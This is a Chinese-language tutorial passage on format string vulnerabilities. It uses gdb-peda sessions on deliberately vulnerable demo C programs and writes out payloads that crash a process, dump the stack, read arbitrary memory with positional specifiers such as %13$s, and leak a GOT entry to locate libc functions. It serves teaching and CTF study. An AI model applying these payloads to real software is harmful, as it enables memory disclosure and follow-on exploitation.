# 格式化字符串漏洞 - [格式化输出函数和格式字符串](#格式化输出函数和格式字符串) - [格式化字符串漏洞基本原理](#格式化字符串漏洞基本原理) - [格式化字符串漏洞](#格式化字符串漏洞) - [x86-64 中的格式化字符串漏洞](#x8664-中的格式化字符串漏洞) - [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞) - [扩展阅读](#扩展阅读) ## 格式化输出函数和格式字符串 在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。 #### 函数 ```c #include int printf(const char *format, ...); int fprintf(FILE *stream, const char *format, ...); int dprintf(int fd, const char *format, ...); int sprintf(char *str, const char *format, ...); int snprintf(char *str, size_t size, const char *format, ...); ``` #### 转换指示符 字符 | 类型 | 使用 --- | --- | --- d | 4-byte | Integer u | 4-byte | Unsigned Integer x | 4-byte | Hex s | 4-byte ptr | String c | 1-byte | Character #### 长度 字符 | 类型 | 使用 --- | --- | --- hh | 1-byte | char h | 2-byte | short int l | 4-byte | long int ll | 8-byte | long long int #### 示例 ``` #include #include void main() { char *format = "%s"; char *arg1 = "Hello World!\n"; printf(format, arg1); } ``` ```c printf("%03d.%03d.%03d.%03d", 127, 0, 0, 1); // "127.000.000.001" printf("%.2f", 1.2345); // 1.23 printf("%#010x", 3735928559); // 0xdeadbeef printf("%s%n", "01234", &n); // n = 5 ``` ## 格式化字符串漏洞基本原理 在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子: ```c #include void main() { printf("%s %d %s", "Hello World!", 233, "\n"); } ``` ```text gdb-peda$ disassemble main Dump of assembler code for function main: 0x0000053d <+0>: lea ecx,[esp+0x4] 0x00000541 <+4>: and esp,0xfffffff0 0x00000544 <+7>: push DWORD PTR [ecx-0x4] 0x00000547 <+10>: push ebp 0x00000548 <+11>: mov ebp,esp 0x0000054a <+13>: push ebx 0x0000054b <+14>: push ecx 0x0000054c <+15>: call 0x585 <__x86.get_pc_thunk.ax> 0x00000551 <+20>: add eax,0x1aaf 0x00000556 <+25>: lea edx,[eax-0x19f0] 0x0000055c <+31>: push edx 0x0000055d <+32>: push 0xe9 0x00000562 <+37>: lea edx,[eax-0x19ee] 0x00000568 <+43>: push edx 0x00000569 <+44>: lea edx,[eax-0x19e1] 0x0000056f <+50>: push edx 0x00000570 <+51>: mov ebx,eax 0x00000572 <+53>: call 0x3d0 0x00000577 <+58>: add esp,0x10 0x0000057a <+61>: nop 0x0000057b <+62>: lea esp,[ebp-0x8] 0x0000057e <+65>: pop ecx 0x0000057f <+66>: pop ebx 0x00000580 <+67>: pop ebp 0x00000581 <+68>: lea esp,[ecx-0x4] 0x00000584 <+71>: ret End of assembler dump. ``` ```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x56557000 --> 0x1efc EBX: 0x56557000 --> 0x1efc ECX: 0xffffd250 --> 0x1 EDX: 0x5655561f ("%s %d %s") ESI: 0xf7f95000 --> 0x1bbd90 EDI: 0x0 EBP: 0xffffd238 --> 0x0 ESP: 0xffffd220 --> 0x5655561f ("%s %d %s") EIP: 0x56555572 (: call 0x565553d0 ) EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x56555569 : lea edx,[eax-0x19e1] 0x5655556f : push edx 0x56555570 : mov ebx,eax => 0x56555572 : call 0x565553d0 0x56555577 : add esp,0x10 0x5655557a : nop 0x5655557b : lea esp,[ebp-0x8] 0x5655557e : pop ecx Guessed arguments: arg[0]: 0x5655561f ("%s %d %s") arg[1]: 0x56555612 ("Hello World!") arg[2]: 0xe9 arg[3]: 0x56555610 --> 0x6548000a ('\n') [------------------------------------stack-------------------------------------] 0000| 0xffffd220 --> 0x5655561f ("%s %d %s") 0004| 0xffffd224 --> 0x56555612 ("Hello World!") 0008| 0xffffd228 --> 0xe9 0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n') 0016| 0xffffd230 --> 0xffffd250 --> 0x1 0020| 0xffffd234 --> 0x0 0024| 0xffffd238 --> 0x0 0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56555572 in main () ``` ```text gdb-peda$ r Continuing Hello World! 233 [Inferior 1 (process 27416) exited with code 022] ``` 根据 cdecl 的调用约定,在进入 `printf()` 函数之前,将参数从右到左依次压栈。进入 `printf()` 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 `%`,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:`% d` 和 `%d` 是一样的) 接下来我们修改一下上面的程序,给格式字符串加上 `%x %x %x %3$s`,使它出现格式化字符串漏洞: ```c #include void main() { printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n"); } ``` 反汇编后的代码同上,没有任何区别。我们主要看一下参数传递: ```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x56557000 --> 0x1efc EBX: 0x56557000 --> 0x1efc ECX: 0xffffd250 --> 0x1 EDX: 0x5655561f ("%s %d %s %x %x %x %3$s") ESI: 0xf7f95000 --> 0x1bbd90 EDI: 0x0 EBP: 0xffffd238 --> 0x0 ESP: 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s") EIP: 0x56555572 (: call 0x565553d0 ) EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x56555569 : lea edx,[eax-0x19e1] 0x5655556f : push edx 0x56555570 : mov ebx,eax => 0x56555572 : call 0x565553d0 0x56555577 : add esp,0x10 0x5655557a : nop 0x5655557b : lea esp,[ebp-0x8] 0x5655557e : pop ecx Guessed arguments: arg[0]: 0x5655561f ("%s %d %s %x %x %x %3$s") arg[1]: 0x56555612 ("Hello World!") arg[2]: 0xe9 arg[3]: 0x56555610 --> 0x6548000a ('\n') [------------------------------------stack-------------------------------------] 0000| 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s") 0004| 0xffffd224 --> 0x56555612 ("Hello World!") 0008| 0xffffd228 --> 0xe9 0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n') 0016| 0xffffd230 --> 0xffffd250 --> 0x1 0020| 0xffffd234 --> 0x0 0024| 0xffffd238 --> 0x0 0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56555572 in main () ``` ```text gdb-peda$ c Continuing. Hello World! 233 ffffd250 0 0 [Inferior 1 (process 27480) exited with code 041] ``` 这一次栈的结构和上一次相同,只是格式字符串有变化。程序打印出了七个值(包括换行),而我们其实只给出了前三个值的内容,后面的三个 `%x` 打印出了 `0xffffd230~0xffffd238` 栈内的数据,这些都不是我们输入的。而最后一个参数 `%3$s` 是对 `0xffffd22c` 中 `\n` 的重用。 上一个例子中,格式字符串中要求的参数个数大于我们提供的参数个数。在下面的例子中,我们省去了格式字符串,同样存在漏洞: ```c #include void main() { char buf[50]; if (fgets(buf, sizeof buf, stdin) == NULL) return; printf(buf); } ``` ```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd1fa ("Hello %x %x %x !\n") EBX: 0x56557000 --> 0x1ef8 ECX: 0xffffd1fa ("Hello %x %x %x !\n") EDX: 0xf7f9685c --> 0x0 ESI: 0xf7f95000 --> 0x1bbd90 EDI: 0x0 EBP: 0xffffd238 --> 0x0 ESP: 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n") EIP: 0x5655562a (: call 0x56555450 ) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x56555623 : sub esp,0xc 0x56555626 : lea eax,[ebp-0x3e] 0x56555629 : push eax => 0x5655562a : call 0x56555450 0x5655562f : add esp,0x10 0x56555632 : jmp 0x56555635 0x56555634 : nop 0x56555635 : mov eax,DWORD PTR [ebp-0xc] Guessed arguments: arg[0]: 0xffffd1fa ("Hello %x %x %x !\n") [------------------------------------stack-------------------------------------] 0000| 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n") 0004| 0xffffd1e4 --> 0x32 ('2') 0008| 0xffffd1e8 --> 0xf7f95580 --> 0xfbad2288 0012| 0xffffd1ec --> 0x565555f4 (: add ebx,0x1a0c) 0016| 0xffffd1f0 --> 0xffffffff 0020| 0xffffd1f4 --> 0xffffd47a ("/home/firmy/Desktop/RE4B/c.out") 0024| 0xffffd1f8 --> 0x65485ea0 0028| 0xffffd1fc ("llo %x %x %x !\n") [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x5655562a in main () ``` ```text gdb-peda$ c Continuing. Hello 32 f7f95580 565555f4 ! [Inferior 1 (process 28253) exited normally] ``` 如果大家都是好孩子,输入正常的字符,程序就不会有问题。由于没有格式字符串,如果我们在 `buf` 中输入一些转换指示符,则 `printf()` 会把它当做格式字符串并解析,漏洞发生。例如上面演示的我们输入了 `Hello %x %x %x !\n`(其中 `\n` 是 `fgets()` 函数给我们自动加上的),这时,程序就会输出栈内的数据。 我们可以总结出,其实格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。下面我们讨论两个问题: - 为什么可以通过编译? - 因为 `printf()` 函数的参数被定义为可变的。 - 为了发现不匹配的情况,编译器需要理解 `printf()` 是怎么工作的和格式字符串是什么。然而,编译器并不知道这些。 - 有时格式字符串并不是固定的,它可能在程序执行中动态生成。 - `printf()` 函数自己可以发现不匹配吗? - `printf()` 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 `printf()` 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。 ## 格式化字符串漏洞 通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。 #### 使程序崩溃 格式话字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。 利用类似下面的格式字符串即可触发漏洞: ```c printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") ``` - 对于每一个 `%s`,`printf()` 都要从栈中获取一个数字,把该数字视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。 - 因为不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在。 - 还有可能获得的数字确实是一个地址,但是该地址是被保护的。 #### 查看栈内容 使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。 ```c #include void main() { char format[128]; int arg1 = 1, arg2 = 0x88888888, arg3 = -1; char arg4[10] = "ABCD"; scanf("%s", format); printf(format, arg1, arg2, arg3, arg4); printf("\n"); } ``` ``` $ gcc -m32 -fno-stack-protector -no-pie fmt.c ``` 我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。 ```text gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") EBX: 0x56557000 --> 0x1efc ECX: 0x1 EDX: 0xf7f9883c --> 0x0 ESI: 0xf7f96e68 --> 0x1bad90 EDI: 0x0 EBP: 0xffffd618 --> 0x0 ESP: 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") EIP: 0x56555642 (: call 0x56555430 ) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x56555638 : push DWORD PTR [ebp-0xc] 0x5655563b : lea eax,[ebp-0x94] 0x56555641 : push eax => 0x56555642 : call 0x56555430 0x56555647 : add esp,0x20 0x5655564a : sub esp,0xc 0x5655564d : push 0xa 0x5655564f : call 0x56555450 Guessed arguments: arg[0]: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") arg[1]: 0x1 arg[2]: 0x88888888 arg[3]: 0xffffffff arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] 0000| 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") 0004| 0xffffd554 --> 0x1 0008| 0xffffd558 --> 0x88888888 0012| 0xffffd55c --> 0xffffffff 0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd564 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") 0028| 0xffffd56c --> 0x565555d7 (: add ebx,0x1a29) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56555642 in main () gdb-peda$ x/10x $esp 0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff 0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7 0xffffd570: 0xf7ffda54 0x00000001 gdb-peda$ c Continuing. 00000001.88888888.ffffffff.ffffd57a.ffffd584 ``` 格式化字符串 `0xffffd584` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3`、`arg4` 之前。格式字符串 `%08x.%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。 当然也可以使用 `%p.%p.%p.%p.%p` 得到相似的结果。 ``` gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("%p.%p.%p.%p.%p") EBX: 0x56557000 --> 0x1efc ECX: 0x1 EDX: 0xf7f9883c --> 0x0 ESI: 0xf7f96e68 --> 0x1bad90 EDI: 0x0 EBP: 0xffffd618 --> 0x0 ESP: 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p") EIP: 0x56555642 (: call 0x56555430 ) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x56555638 : push DWORD PTR [ebp-0xc] 0x5655563b : lea eax,[ebp-0x94] 0x56555641 : push eax => 0x56555642 : call 0x56555430 0x56555647 : add esp,0x20 0x5655564a : sub esp,0xc 0x5655564d : push 0xa 0x5655564f : call 0x56555450 Guessed arguments: arg[0]: 0xffffd584 ("%p.%p.%p.%p.%p") arg[1]: 0x1 arg[2]: 0x88888888 arg[3]: 0xffffffff arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] 0000| 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p") 0004| 0xffffd554 --> 0x1 0008| 0xffffd558 --> 0x88888888 0012| 0xffffd55c --> 0xffffffff 0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd564 --> 0xffffd584 ("%p.%p.%p.%p.%p") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") 0028| 0xffffd56c --> 0x565555d7 (: add ebx,0x1a29) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56555642 in main () gdb-peda$ c Continuing. 0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584 ``` 上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串: ``` %$ %n$x ``` 这里的 `n` 表示栈中格式字符串后面的第 `n` 个值。 ``` gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") EBX: 0x56557000 --> 0x1efc ECX: 0x1 EDX: 0xf7f9883c --> 0x0 ESI: 0xf7f96e68 --> 0x1bad90 EDI: 0x0 EBP: 0xffffd618 --> 0x0 ESP: 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") EIP: 0x56555642 (: call 0x56555430 ) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x56555638 : push DWORD PTR [ebp-0xc] 0x5655563b : lea eax,[ebp-0x94] 0x56555641 : push eax => 0x56555642 : call 0x56555430 0x56555647 : add esp,0x20 0x5655564a : sub esp,0xc 0x5655564d : push 0xa 0x5655564f : call 0x56555450 Guessed arguments: arg[0]: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") arg[1]: 0x1 arg[2]: 0x88888888 arg[3]: 0xffffffff arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] 0000| 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") 0004| 0xffffd554 --> 0x1 0008| 0xffffd558 --> 0x88888888 0012| 0xffffd55c --> 0xffffffff 0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd564 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") 0028| 0xffffd56c --> 0x565555d7 (: add ebx,0x1a29) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56555642 in main () gdb-peda$ x/10w $esp 0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff 0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7 0xffffd570: 0xf7ffda54 0x00000001 gdb-peda$ c Continuing. ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220 ``` 这里,格式字符串的地址为 `0xffffd584`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`、`arg4` 和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。 #### 查看任意地址的内存 攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 `%s` 显示参数 指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 `%s` 就会输出该位置的内存内容。 还是上面的程序,我们输入 `%4$s`,输出的 `arg4` 就变成了 `ABCD` 而不是地址 `0xffffd57a`: ``` gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("%4$s") EBX: 0x56557000 --> 0x1efc ECX: 0x1 EDX: 0xf7f9883c --> 0x0 ESI: 0xf7f96e68 --> 0x1bad90 EDI: 0x0 EBP: 0xffffd618 --> 0x0 ESP: 0xffffd550 --> 0xffffd584 ("%4$s") EIP: 0x56555642 (: call 0x56555430 ) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x56555638 : push DWORD PTR [ebp-0xc] 0x5655563b : lea eax,[ebp-0x94] 0x56555641 : push eax => 0x56555642 : call 0x56555430 0x56555647 : add esp,0x20 0x5655564a : sub esp,0xc 0x5655564d : push 0xa 0x5655564f : call 0x56555450 Guessed arguments: arg[0]: 0xffffd584 ("%4$s") arg[1]: 0x1 arg[2]: 0x88888888 arg[3]: 0xffffffff arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] 0000| 0xffffd550 --> 0xffffd584 ("%4$s") 0004| 0xffffd554 --> 0x1 0008| 0xffffd558 --> 0x88888888 0012| 0xffffd55c --> 0xffffffff 0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd564 --> 0xffffd584 ("%4$s") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") 0028| 0xffffd56c --> 0x565555d7 (: add ebx,0x1a29) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56555642 in main () gdb-peda$ c Continuing. ABCD ``` 上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 `AAAA.%p` 这样的格式的字符串,观察一下栈有什么变化。 ``` gdb-peda$ python print("AAAA"+".%p"*20) AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p ... gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") EBX: 0x56557000 --> 0x1efc ECX: 0x1 EDX: 0xf7f9883c --> 0x0 ESI: 0xf7f96e68 --> 0x1bad90 EDI: 0x0 EBP: 0xffffd618 --> 0x0 ESP: 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") EIP: 0x56555642 (: call 0x56555430 ) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x56555638 : push DWORD PTR [ebp-0xc] 0x5655563b : lea eax,[ebp-0x94] 0x56555641 : push eax => 0x56555642 : call 0x56555430 0x56555647 : add esp,0x20 0x5655564a : sub esp,0xc 0x5655564d : push 0xa 0x5655564f : call 0x56555450 Guessed arguments: arg[0]: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") arg[1]: 0x1 arg[2]: 0x88888888 arg[3]: 0xffffffff arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] 0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") 0004| 0xffffd554 --> 0x1 0008| 0xffffd558 --> 0x88888888 0012| 0xffffd55c --> 0xffffffff 0016| 0xffffd560 --> 0xffffd57a ("ABCD") 0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") 0028| 0xffffd56c --> 0x565555d7 (: add ebx,0x1a29) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x56555642 in main () ``` 格式字符串的地址在 `0xffffd584`,从下面的输出中可以看到它们在栈中是怎样排布的: ``` gdb-peda$ x/20w $esp 0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff 0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7 0xffffd570: 0xf7ffda54 0x00000001 0x424135d0 0x00004443 0xffffd580: 0x00000000 0x41414141 0x2e70252e 0x252e7025 0xffffd590: 0x70252e70 0x2e70252e 0x252e7025 0x70252e70 gdb-peda$ x/20wb 0xffffd584 0xffffd584: 0x41 0x41 0x41 0x41 0x2e 0x25 0x70 0x2e 0xffffd58c: 0x25 0x70 0x2e 0x25 0x70 0x2e 0x25 0x70 0xffffd594: 0x2e 0x25 0x70 0x2e gdb-peda$ python print('\x2e\x25\x70') .%p ``` 下面是程序运行的结果: ``` gdb-peda$ c Continuing. AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e ``` `0x41414141` 是输出的第 13 个字符,所以我们使用 `%13$s` 即可读出 `0x41414141` 处的内容,当然,这里可能是一个不合法的地址。下面我们把 `0x41414141` 换成我们需要的合法的地址,比如字符串 `ABCD` 的地址 `0xffffd57a`: ``` $ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text $ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf Breakpoint 1 at 0x8048350 gdb-peda$ r < text [----------------------------------registers-----------------------------------] EAX: 0xffffd584 --> 0xffffd57a ("ABCD") EBX: 0x804a000 --> 0x8049f14 --> 0x1 ECX: 0x1 EDX: 0xf7f9883c --> 0x0 ESI: 0xf7f96e68 --> 0x1bad90 EDI: 0x0 EBP: 0xffffd618 --> 0x0 ESP: 0xffffd54c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7e27c1b : ret 0xf7e27c1c: xchg ax,ax 0xf7e27c1e: xchg ax,ax => 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> 0xf7e27c25 : add eax,0x16f243 0xf7e27c2a : sub esp,0xc 0xf7e27c2d : mov eax,DWORD PTR [eax+0x124] 0xf7e27c33 : lea edx,[esp+0x14] No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd54c --> 0x8048520 (: add esp,0x20) 0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a ("ABCD") 0008| 0xffffd554 --> 0x1 0012| 0xffffd558 --> 0x88888888 0016| 0xffffd55c --> 0xffffffff 0020| 0xffffd560 --> 0xffffd57a ("ABCD") 0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a ("ABCD") 0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8') [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 gdb-peda$ x/20w $esp 0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888 0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc 0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0 0xffffd57c: 0x00004443 0x00000000 0xffffd57a 0x3331252e 0xffffd58c: 0x00007324 0xffffd5ca 0x00000001 0x000000c2 gdb-peda$ x/s 0xffffd57a 0xffffd57a: "ABCD" gdb-peda$ c Continuing. z���.ABCD ``` 当然这也没有什么用,我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 `system()`)。如下面展示的这样: 先看一下重定向表: ``` $ readelf -r a.out Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries: Offset Info Type Sym.Value Sym. Name 08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__ Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries: Offset Info Type Sym.Value Sym. Name 0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 0804a010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0 0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7 ``` `.rel.plt` 中有四个函数可供我们选择,按理说选择任意一个都没有问题,但是在实践中我们会发现一些问题。下面的结果分别是 `printf`、`__libc_start_main`、`putchar` 和 `__isoc99_scanf`: ``` $ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out .0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025 $ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out .0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e $ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out .0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e $ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out ▒.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e ``` 细心一点你就会发现第一个(`printf`)的结果有问题。我们输入了 `\x0c\xa0\x04\x08`(`0x0804a00c`),可是 13 号位置输出的结果却是 `0x2e0804a0`,那么,`\x0c` 哪去了,查了一下 ASCII 表: ``` Oct Dec Hex Char ────────────────────────────────────── 014 12 0C FF '\f' (form feed) ``` 于是就被省略了,同样会被省略的还有很多,如 `\x07`('\a')、`\x08`('\b')、`\x20`(SPACE)等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个(`__isoc99_scanf`)。 ``` gdb-peda$ q [firmy@firmy-pc RE4B]$ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text [firmy@firmy-pc RE4B]$ gdb -q a.out Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf 